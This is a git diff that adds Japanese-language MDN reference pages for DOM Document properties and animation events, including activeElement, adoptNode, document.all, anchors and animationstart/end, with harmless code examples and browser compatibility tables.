diff options
Diffstat (limited to 'files/ja/web/api/document')
153 files changed, 13282 insertions, 0 deletions
diff --git a/files/ja/web/api/document/activeelement/index.html b/files/ja/web/api/document/activeelement/index.html new file mode 100644 index 0000000000..ba438793b8 --- /dev/null +++ b/files/ja/web/api/document/activeelement/index.html @@ -0,0 +1,143 @@ +--- +title: document.activeElement +slug: Web/API/Document/activeElement +tags: + - DOM + - Focus + - Gecko + - HTML5 + - NeedsTranslation + - 要更新 +translation_of: Web/API/DocumentOrShadowRoot/activeElement +--- +<div>{{ApiRef}}</div> + +<h2 id="Summary" name="Summary">概要</h2> + +<p>Returns the currently focused element, that is, the element that will get keystroke events if the user types any. This attribute is read only.</p> + +<p>Often this will return an {{HTMLElement("input")}} or {{HTMLElement("textarea")}} object, if it has the text selection at the time. If so, you can get more detail by using the element's <code>selectionStart</code> and <code>selectionEnd</code> properties. Other times the focused element might be a {{HTMLElement("select")}} element (menu) or an {{HTMLElement("input")}} element, of <code>type</code> button, checkbox or radio.</p> + +<div class="note"><strong>注記:</strong> On Mac, elements that aren't text input elements tend not to get focus assigned to them.</div> + +<p>Typically a user can press the tab key to move the focus around the page among focusable elements, and use the space bar to activate it (press a button, choose a radio).</p> + +<p>Do not confuse focus with a selection over the document, consisting mostly of static text nodes. See {{domxref("window.getSelection()")}} for that.</p> + +<p>When there is no selection, the active element is the page's {{HTMLElement("body")}}.</p> + +<p>{{Note("This attribute is part of the in-development HTML 5 specification.")}}</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre>var curElement = document.activeElement; +</pre> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: html"><!DOCTYPE HTML> +<html> +<head> + <script type="text/javascript" charset="utf-8"> + function init() { + + function onMouseUp(e) { + console.log(e); + var outputElement = document.getElementById('output-element'); + var outputText = document.getElementById('output-text'); + var selectedTextArea = document.<strong>activeElement</strong>; + var selection = selectedTextArea.value.substring( + selectedTextArea.<strong>selectionStart</strong>, selectedTextArea.<strong>selectionEnd</strong>); + outputElement.innerHTML = selectedTextArea.id; + outputText.innerHTML = selection; + } + + document.getElementById("ta-example-one").addEventListener("mouseup", onMouseUp, false); + document.getElementById("ta-example-two").addEventListener("mouseup", onMouseUp, false); + } + </script> +</head> +<body onload="init()"> +<div> + Select some text from one of the Textareas below: +</div> +<form id="frm-example" action="#" accept-charset="utf-8"> +<textarea name="ta-example-one" id="ta-example-one" rows="8" cols="40"> +This is Textarea Example One: +Lorem ipsum dolor sit amet, consectetur adipiscing elit. Donec tincidunt, lorem a porttitor molestie, odio nibh iaculis libero, et accumsan nunc orci eu dui. +</textarea> +<textarea name="ta-example-two" id="ta-example-two" rows="8" cols="40"> +This is Textarea Example Two: +Fusce ullamcorper, nisl ac porttitor adipiscing, urna orci egestas libero, ut accumsan orci lacus laoreet diam. Morbi sed euismod diam. +</textarea> +</form> +Active Element Id: <span id="output-element"></span><br/> +Selected Text: <span id="output-text"></span> + +</body> +</html> +</pre> + +<p><a href="https://jsfiddle.net/w9gFj">JSFiddle で確認</a></p> + +<h2 id="Notes" name="Notes">注記</h2> + +<p>Originally introduced as a proprietary DOM extension in Internet Explorer 4, this property also is supported in Opera and Safari (as of version 4).</p> + +<h2 id="Specification" name="Specification">仕様</h2> + +<ul> + <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#focus-management">Focus management </a></li> +</ul> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザ実装状況</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>機能</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>基本サポート</td> + <td>2</td> + <td>3.0</td> + <td>4</td> + <td>9.6</td> + <td>4.0</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>機能</th> + <th>Android</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + </tr> + <tr> + <td>基本サポート</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatUnknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p> </p> diff --git a/files/ja/web/api/document/adoptnode/index.html b/files/ja/web/api/document/adoptnode/index.html new file mode 100644 index 0000000000..a43521e7ce --- /dev/null +++ b/files/ja/web/api/document/adoptnode/index.html @@ -0,0 +1,96 @@ +--- +title: Document.adoptNode() +slug: Web/API/Document/adoptNode +tags: + - API + - DOM + - DOM Reference + - Method + - NeedsExample + - NeedsSpecTable + - NeedsUpdate + - Reference +translation_of: Web/API/Document/adoptNode +--- +<div>{{ ApiRef("DOM") }}</div> + +<p><strong><code>Document.adoptNode()</code></strong> は、{{Glossary("node/dom", "ノード")}}を他の{{domxref("Document", "文書", "", "1")}}からメソッドの文書へ移動します。取り込まれたノードおよびそのサブツリーは (もしあれば) 元の文書から削除され、 {{domxref("Node.ownerDocument", "ownerDocument")}} が現在の文書に変更されます。その後、ノードを現在の文書に挿入することができます。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">const <var>importedNode</var> = document.adoptNode(<var>externalNode</var>); +</pre> + +<h3 id="Parameters" name="Parameters">引数</h3> + +<dl> + <dt><code><var>externalNode</var></code></dt> + <dd>他の文書から取り込まれるノードです。</dd> +</dl> + +<h3 id="Return_value" name="Return_value">返値</h3> + +<p>インポートする文書のスコープ内にコピーされた <code><var>importedNode</var></code>。</p> + +<p>このメソッドを呼び出した後、 <code><var>importedNode</var></code> および <code><var>externalNode</var></code> は同じオブジェクトになります。</p> + +<div class="blockIndicator note"> +<p><strong>注:</strong> <code><var>importedNode</var></code> の {{domxref("Node.parentNode")}} は、まだ文書ツリーに挿入されていないので <code>null</code> です。</p> +</div> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush: js notranslate">const iframe = document.querySelector('iframe'); +const iframeImages = iframe.contentDocument.querySelectorAll('img'); +const newParent = document.getElementById('images'); + +iframeImages.forEach(function(imgEl) { + newParent.appendChild(document.adoptNode(imgEl)); +}); +</pre> + +<h2 id="Notes" name="Notes">注</h2> + +<p>外部の文書から取り込まれるノードは、現在の文書に挿入する前に、次のいずれかを実行してください。</p> + +<ul> + <li>{{domXref("document.importNode()")}} を使用して複製する</li> + <li>{{domXref("document.adoptNode()")}} を使用して取り込む</li> +</ul> + +<div class="blockIndicator note"> +<p><strong>ベストプラクティス:</strong> Firefox は現在はこの規則を強制しませんが、将来の互換性を向上するためにこの規則に従うことを強くお勧めします。</p> +</div> + +<p>{{domXref("Node.ownerDocument")}} の問題についての詳細は、 W3C DOM FAQ を参照してください。</p> + +<h2 id="Specification" name="Specification">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM WHATWG', '#dom-document-adoptnode', 'document.adoptNode')}}</td> + <td>{{Spec2('DOM WHATWG')}}</td> + <td></td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.adoptNode")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li>{{domxref("document.importNode()")}}</li> +</ul> diff --git a/files/ja/web/api/document/alinkcolor/index.html b/files/ja/web/api/document/alinkcolor/index.html new file mode 100644 index 0000000000..6577461935 --- /dev/null +++ b/files/ja/web/api/document/alinkcolor/index.html @@ -0,0 +1,40 @@ +--- +title: Document.alinkColor +slug: Web/API/Document/alinkColor +tags: + - API + - DOM + - Deprecated + - Document + - Reference + - alinkColor + - プロパティ +translation_of: Web/API/Document/alinkColor +--- +<div>{{APIRef("DOM")}}{{Deprecated_header}}</div> + +<p>文書本文のアクティブなリンクの色を取得または設定します。リンクは <code>mousedown</code> と <code>mouseup</code> イベントの間にアクティブになります。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox">var <var>color</var> = <var>document</var>.alinkColor; +<var>document</var>.alinkColor = <var>color</var>; +</pre> + +<p><var>color</var> は文字列で、色の名前 (<code>blue</code>, <code>darkblue</code>, など) または色の16進値 (<code>#0000FF</code> など) が入ります。</p> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>Mozilla Firefox では、このプロパティの既定値は赤 (16進で <code>#ee0000</code>) です。</p> + +<p><code>document.alinkColor</code> は <a href="http://www.w3.org/TR/DOM-Level-2-HTML/html.html#ID-26809268">DOM Level 2 HTML で非推奨</a>となっています。代替方法の一つは CSS セレクターの {{Cssxref(":active")}} です。</p> + +<p>他の代替手段として <code>document.body.alink</code> がありますが、上記の CSS による代替手段が設置されたため <a href="http://www.w3.org/TR/html401/struct/global.html#adef-text">HTML 4.01 で非推奨</a>となっています。</p> + +<p><a href="/ja/docs/Mozilla/Gecko">Gecko</a> は <code>alinkColor</code>/<code>:active</code> および {{Cssxref(":focus")}} の両方に対応しています。 Internet Explorer 6 および 7 は <a href="/ja/docs/Web/HTML/Element/a">HTML アンカー (<a>) リンク</a>には <code>alinkColor</code>/<code>:active</code> のみに対応しており、 <code>:focus</code> は Gecko と同様に動作します。 IE は <code>:focus</code> には対応していません。</p> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.alinkColor")}}</p> diff --git a/files/ja/web/api/document/all/index.html b/files/ja/web/api/document/all/index.html new file mode 100644 index 0000000000..cdf0bfb17d --- /dev/null +++ b/files/ja/web/api/document/all/index.html @@ -0,0 +1,54 @@ +--- +title: Document.all +slug: Web/API/Document/all +tags: + - API + - DOM + - Document + - HTMLAllCollection + - Property + - Reference + - all +translation_of: Web/API/Document/all +--- +<div>{{APIRef("DOM")}}{{Draft}}{{Deprecated_Header("HTML5")}}</div> + +<p>{{DOMxRef("Document")}} インターフェイスの <strong><code>all</code></strong> プロパティは読み取り専用で、 document ノードをルートとした {{DOMxRef("HTMLAllCollection")}} を返します。言い換えれば、文書のすべての要素を、 (配列のように) 順序および (通常のオブジェクトのように) ID でアクセスすることができる形で返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox notranslate">var <var>htmlAllCollection</var> = document.all;</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>文書のすべてのノードを含む {{DOMxRef("HTMLAllCollection")}} です。</p> + +<h2 id="Conversion_to_boolean" name="Conversion_to_boolean">論理型への変換</h2> + +<p><code>document.all</code> は JavaScript からアクセスすることができる唯一の{{Glossary("falsy", "値が偽となる")}}オブジェクトです。これは、<a href="https://tc39.es/ecma262/#sec-IsHTMLDDA-internal-slot">[[IsHTMLDDA]] 内部スロット</a>を持つためです。これは、 Internet Explorer の古いバージョンとの互換性のために行われています。これについての詳細な情報は、 <a href="https://stackoverflow.com/a/62005426">StackOverflow のこの回答</a>にあります。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-all', 'all')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>初回定義<br> + 廃止された古い API の節で定義。</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.all")}}</p> diff --git a/files/ja/web/api/document/anchors/index.html b/files/ja/web/api/document/anchors/index.html new file mode 100644 index 0000000000..5ea288b926 --- /dev/null +++ b/files/ja/web/api/document/anchors/index.html @@ -0,0 +1,117 @@ +--- +title: Document.anchors +slug: Web/API/Document/anchors +tags: + - API + - DOM + - Deprecated + - Document + - HTML DOM + - Property + - Reference + - anchors + - プロパティ +translation_of: Web/API/Document/anchors +--- +<div>{{APIRef("DOM")}} {{deprecated_header()}}</div> + +<p><strong><code>anchors</code></strong> は {{domxref("Document")}} インターフェイスの読み取り専用のプロパティで、文書中のすべてのアンカーのリストを返します。</p> + +<h2 id="Syntax" name="Syntax">構文</h2> + +<pre class="syntaxbox"><var>nodeList</var> = document.anchors; +</pre> + +<h3 id="Value" name="Value">値</h3> + +<p>{{domxref("HTMLCollection")}} です。</p> + +<h2 id="Example" name="Example">例</h2> + +<pre class="brush:js">if (document.anchors.length >= 5) { + dump("dump found too many anchors"); + window.location = "http://www.google.com"; +} +</pre> + +<p>文書中のアンカーを基に目次を作成して文書に挿入する例を以下に示します。</p> + +<pre class="brush:html"><!DOCTYPE html> +<html lang="en"> +<head> +<meta charset="UTF-8" /> +<title>Test</title> +<script> +function init() { + var toc = document.getElementById("toc"); + var i, li, newAnchor; + for (i = 0; i < document.anchors.length; i++) { + li = document.createElement("li"); + newAnchor = document.createElement('a'); + newAnchor.href = "#" + document.anchors[i].name; + newAnchor.innerHTML = document.anchors[i].text; + li.appendChild(newAnchor); + toc.appendChild(li); + } +} +</script> +</head> +<body onload="init()"> + +<h1>Title</h1> +<h2><a name="contents">Contents</a></h2> +<ul id="toc"></ul> + +<h2><a name="plants">Plants</a></h2> +<ol> + <li>Apples</li> + <li>Oranges</li> + <li>Pears</li> +</ol> + +<h2><a name="veggies">Veggies</a></h2> +<ol> + <li>Carrots</li> + <li>Celery</li> + <li>Beats</li> +</ol> + +</body> +</html> +</pre> + +<p><a href="https://jsfiddle.net/S4yNp">JSFiddle で確認</a></p> + +<h2 id="Notes" name="Notes">メモ</h2> + +<p>後方互換性のため、返されるアンカーのセットには <code>name</code> 属性を付けて作成されたアンカーのみが含まれ、 <code>id</code> 属性付きで作成されたものは含まれません。</p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('HTML WHATWG', '#dom-document-anchors', 'Document.anchors')}}</td> + <td>{{ Spec2('HTML WHATWG') }}</td> + <td>廃止</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-7577272', 'Document.anchors')}}</td> + <td>{{ Spec2('DOM2 Events') }}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの対応</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<div>{{Compat("api.Document.anchors")}}</div> diff --git a/files/ja/web/api/document/animationcancel_event/index.html b/files/ja/web/api/document/animationcancel_event/index.html new file mode 100644 index 0000000000..5bb21f57a7 --- /dev/null +++ b/files/ja/web/api/document/animationcancel_event/index.html @@ -0,0 +1,93 @@ +--- +title: 'Document: animationcancel イベント' +slug: Web/API/Document/animationcancel_event +tags: + - CSS Animations + - CSS アニメーション + - Document + - Event + - Reference + - Web + - animationcancel + - イベント + - ウェブ +translation_of: Web/API/Document/animationcancel_event +--- +<div>{{APIRef}}{{SeeCompatTable}}</div> + +<p><strong><code>animationcancel</code></strong> イベントは、 <a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a>が予期せず中断されたときに発生します。言い換えれば、 {{domxref("Document/animationend_event", "animationend")}} イベントを送出せずに実行が停止するときはいつでもです。これは {{cssxref("animation-name")}} が変更されてアニメーションが削除されたり、動いているノードが CSS を使用して非表示にされた場合などに起こることがあります。したがって、直接または原因として、その包含ノードのいずれかが隠されています。</p> + +<table class="properties"> + <tbody> + <tr> + <th>バブリング</th> + <td>あり</td> + </tr> + <tr> + <th>キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th>インターフェイス</th> + <td>{{domxref("AnimationEvent")}}</td> + </tr> + <tr> + <th>イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onanimationcancel","onanimationcancel")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 <a href="/ja/docs/Web/API/HTMLElement/animationcancel_event">HTMLElement: animationcancel イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>このコードはリスナーに <code>animationcancel</code> イベントを追加します。</p> + +<pre class="brush: js">document.addEventListener('animationcancel', () => { + console.log('アニメーションが取り消されました'); +});</pre> + +<p>同様に、 {{domxref("GlobalEventHandlers/onanimationcancel", "onanimationcancel")}} プロパティを <code>addEventListener()</code> の代わりに使用するとこうなります。</p> + +<pre class="brush: js">document.onanimationcancel = () => { + console.log('アニメーションが取り消されました'); +};</pre> + +<p id="Live_example"><a href="/ja/docs/Web/API/HTMLElement/animationcancel_event#Live_example">このイベントのライブデモを参照してください。</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationcancel")}}</td> + <td>{{Spec2("CSS3 Animations")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.animationcancel_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a></li> + <li><a href="/ja/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS アニメーションの使用</a></li> + <li>{{domxref("AnimationEvent")}}</li> + <li>関連イベント: {{domxref("Document/animationstart_event", "animationstart")}}, {{domxref("Document/animationend_event", "animationend")}}, {{domxref("Document/animationiteration_event", "animationiteration")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/animationcancel_event", "animationcancel")}}</li> + <li>{{domxref("HTMLElement")}} を対象としたこのイベント: {{domxref("HTMLElement/animationcancel_event", "animationcancel")}}</li> +</ul> diff --git a/files/ja/web/api/document/animationend_event/index.html b/files/ja/web/api/document/animationend_event/index.html new file mode 100644 index 0000000000..2f3987c296 --- /dev/null +++ b/files/ja/web/api/document/animationend_event/index.html @@ -0,0 +1,92 @@ +--- +title: 'Document: animationend イベント' +slug: Web/API/Document/animationend_event +tags: + - CSS Animations + - CSS アニメーション + - Document + - Event + - Reference + - Web + - animationend + - イベント +translation_of: Web/API/Document/animationend_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>animationend</code></strong> イベントは、 <a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a>が完了したときに発生します。アニメーションが完了前に中止された場合、例えば要素が DOM から削除されたりアニメーションが要素から削除されたりした場合、 <code>animationend</code> イベントは発生しません。</p> + +<table class="properties"> + <tbody> + <tr> + <th>バブリング</th> + <td>あり</td> + </tr> + <tr> + <th>キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th>インターフェイス</th> + <td>{{domxref("AnimationEvent")}}</td> + </tr> + <tr> + <th>イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onanimationend","onanimationend")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 <a href="/ja/docs/Web/API/HTMLElement/animationend_event">HTMLElement: animationend イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>この例は <code>animationend</code> イベントを待ち受けます。</p> + +<pre class="brush: js">document.addEventListener('animationend', () => { + console.log('アニメーション終了'); +});</pre> + +<p>同様に、 <code>onanimationend</code> イベントハンドラープロパティを使用するとこうなります。</p> + +<pre class="brush: js">document.onanimationend = () => { + console.log('アニメーション終了'); +};</pre> + +<p id="Live_example"><a href="/ja/docs/Web/API/HTMLElement/animationend_event#Live_example">このイベントのライブデモを参照してください。</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationend")}}</td> + <td>{{Spec2("CSS3 Animations")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.animationend_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a></li> + <li><a href="/ja/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS アニメーションの使用</a></li> + <li>{{domxref("AnimationEvent")}}</li> + <li>関連イベント: {{domxref("Document/animationstart_event", "animationstart")}}, {{domxref("Document/animationcancel_event", "animationcancel")}}, {{domxref("Document/animationiteration_event", "animationiteration")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/animationend_event", "animationend")}}</li> + <li>{{domxref("HTMLElement")}} を対象としたこのイベント: {{domxref("HTMLElement/animationend_event", "animationend")}}</li> +</ul> diff --git a/files/ja/web/api/document/animationiteration_event/index.html b/files/ja/web/api/document/animationiteration_event/index.html new file mode 100644 index 0000000000..95addaa166 --- /dev/null +++ b/files/ja/web/api/document/animationiteration_event/index.html @@ -0,0 +1,98 @@ +--- +title: 'Document: animationiteration イベント' +slug: Web/API/Document/animationiteration_event +tags: + - Animation + - AnimationEvent + - CSS Animations + - CSS アニメーション + - Event + - Reference + - animationiteration + - イベント +translation_of: Web/API/Document/animationiteration_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>animationiteration</code></strong> イベントは、 <a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a>の反復が1回分終了し、次の回が始まったときに発生します。このイベントは {{domxref("Document/animationend_event", "animationend")}} イベントと同時には発生せず、従って <code>animation-iteration-count</code> が1のアニメーションでは発生しません。</p> + +<table class="properties"> + <tbody> + <tr> + <th>バブリング</th> + <td>あり</td> + </tr> + <tr> + <th>キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th>インターフェイス</th> + <td>{{domxref("AnimationEvent")}}</td> + </tr> + <tr> + <th>イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onanimationiteration","onanimationiteration")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 <a href="/ja/docs/Web/API/HTMLElement/animationiteration_event">HTMLElement: animationiteration イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>このコードは <code>animationiteration</code> を使用して、アニメーションの反復が終了した回数を追跡します。</p> + +<pre class="brush: js">let iterationCount = 0; + +document.addEventListener('animationiteration', () => { + iterationCount++; + console.log(`アニメーション反復回数: ${iterationCount}`); +});</pre> + +<p>同様に、 <code>onanimationiteration</code> イベントハンドラープロパティを使用するとこうなります。</p> + +<pre class="brush: js">let iterationCount = 0; + +document.onanimationiteration = () => { + iterationCount++; + console.log(`アニメーション反復回数: ${iterationCount}`); +};</pre> + +<p><a href="/ja/docs/Web/API/HTMLElement/animationiteration_event#Live_example">このイベントのライブデモを参照してください。</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationiteration")}}</td> + <td>{{Spec2("CSS3 Animations")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.animationiteration_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a></li> + <li><a href="/ja/docs/Web/CSS/CSS_Animations/Using_CSS_animations">CSS アニメーションの使用</a></li> + <li>{{domxref("AnimationEvent")}}</li> + <li>関連イベント: {{domxref("Document/animationstart_event", "animationstart")}}, {{domxref("Document/animationend_event", "animationend")}}, {{domxref("Document/animationcancel_event", "animationcancel")}}</li> + <li>{{domxref("Window")}} を対象としたこのイベント: {{domxref("Window/animationiteration_event", "animationiteration")}}</li> + <li>{{domxref("HTMLElement")}} を対象としたこのイベント: {{domxref("HTMLElement/animationiteration_event", "animationiteration")}}</li> +</ul> diff --git a/files/ja/web/api/document/animationstart_event/index.html b/files/ja/web/api/document/animationstart_event/index.html new file mode 100644 index 0000000000..0c9136b56e --- /dev/null +++ b/files/ja/web/api/document/animationstart_event/index.html @@ -0,0 +1,95 @@ +--- +title: 'Document: animationstart イベント' +slug: Web/API/Document/animationstart_event +tags: + - CSS Animations + - CSS アニメーション + - Document + - Event + - Reference + - Web + - animationstart + - イベント + - ウェブ +translation_of: Web/API/Document/animationstart_event +--- +<div>{{APIRef}}</div> + +<p><strong><code>animationstart</code></strong> イベントは、 <a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a>が開始したときに発生します。 {{cssxref("animation-delay")}} がある場合、このイベントは待ち時間が経過したときに一度発生します。待ち時間が負の数の場合、イベントは {{domxref("AnimationEvent/elapsedTime", "elapsedTime")}} が待ち時間の絶対値と等しくなったときに発生します (および、関連して、アニメーションはシーケンスの中でそのタイムインデックスに再生が始まります)。</p> + +<table class="properties"> + <tbody> + <tr> + <th>バブリング</th> + <td>あり</td> + </tr> + <tr> + <th>キャンセル</th> + <td>不可</td> + </tr> + <tr> + <th>インターフェイス</th> + <td>{{domxref("AnimationEvent")}}</td> + </tr> + <tr> + <th scope="row">イベントハンドラープロパティ</th> + <td>{{domxref("GlobalEventHandlers/onanimationstart","onanimationstart")}}</td> + </tr> + </tbody> +</table> + +<p>このイベントの本来の対象は、トランジションが適用された {{domxref("Element")}} です。このイベントを {{domxref("Document")}} インターフェイス上で待ち受けし、キャプチャやバブリングの局面で処理することができます。このイベントについて完全な詳細は、 <a href="/ja/docs/Web/API/HTMLElement/animationstart_event">HTMLElement: animationstart イベント</a>を参照してください。</p> + +<h2 id="Examples" name="Examples">例</h2> + +<p>このコードは <code>animationstart</code> イベントを待ち受けし、イベント発生時にメッセージを記録します。</p> + +<pre class="brush: js">document.addEventListener('animationstart', () => { + console.log('Animation started'); +}); +</pre> + +<p>同様に、 <code>onanimationstart</code> を使用するとこうなります。</p> + +<pre class="brush: js">document.onanimationstart = () => { + console.log('Animation started'); +}; +</pre> + +<p id="Live_example"><a href="/ja/docs/Web/API/HTMLElement/animationstart_event#Live_example">このイベントのライブデモを参照してください。</a></p> + +<h2 id="Specifications" name="Specifications">仕様書</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">仕様書</th> + <th scope="col">状態</th> + <th scope="col">備考</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName("CSS3 Animations", "#eventdef-animationevent-animationstart")}}</td> + <td>{{Spec2("CSS3 Animations")}}</td> + <td>初回定義</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility" name="Browser_compatibility">ブラウザーの互換性</h2> + +<div class="hidden">このページの互換性一覧表は構造化データから生成されています。データに協力していただけるのであれば、 <a class="external" href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> をチェックアウトしてプルリクエストを送信してください。</div> + +<p>{{Compat("api.Document.animationstart_event")}}</p> + +<h2 id="See_also" name="See_also">関連情報</h2> + +<ul> + <li><a href="/ja/docs/Web/CSS/CSS_Animations">CSS アニメーション</a></li> + <li><a 